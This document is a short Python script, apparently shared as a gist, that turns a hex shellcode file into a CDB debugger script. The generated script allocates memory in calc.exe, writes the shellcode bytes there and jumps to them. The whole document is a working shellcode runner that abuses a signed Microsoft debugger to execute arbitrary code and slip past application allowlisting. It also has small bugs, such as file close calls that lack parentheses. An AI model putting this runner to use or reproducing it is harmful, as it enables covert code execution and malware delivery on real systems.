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shellcode to cbd.exe
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#!/usr/bin/env python | |
# run: cdb.exe -cf output.wds -o calc.exe | |
# From: http://www.exploit-monday.com/2016/08/windbg-cdb-shellcode-runner.html | |
src = open('shellcode', 'r') | |
sc = src.read() | |
src.close | |
copy = ";eb @$t0+" | |
payload = "" | |
# allocate this: | |
allocate = len(sc)/2 | |
for i in range(allocate): | |
count = "{:02x}".format(i) | |
pos = i * 2 | |
bytes = sc[pos] + sc[pos+1] | |
if i % 4 == 0: | |
payload += "\r\n" + copy + count.upper() + " " + bytes.upper() | |
else: | |
payload += copy + count.upper() + " " + bytes.upper() | |
output = ".foreach /pS 5 ( register { .dvalloc " + str(allocate) + " } ) { r @$t0 = register }"+payload+"\r\nr @$ip=@$t0\r\ng\r\nq\r\n" | |
dest = open("output.wds", "w") | |
dest.write(output) | |
dest.close |
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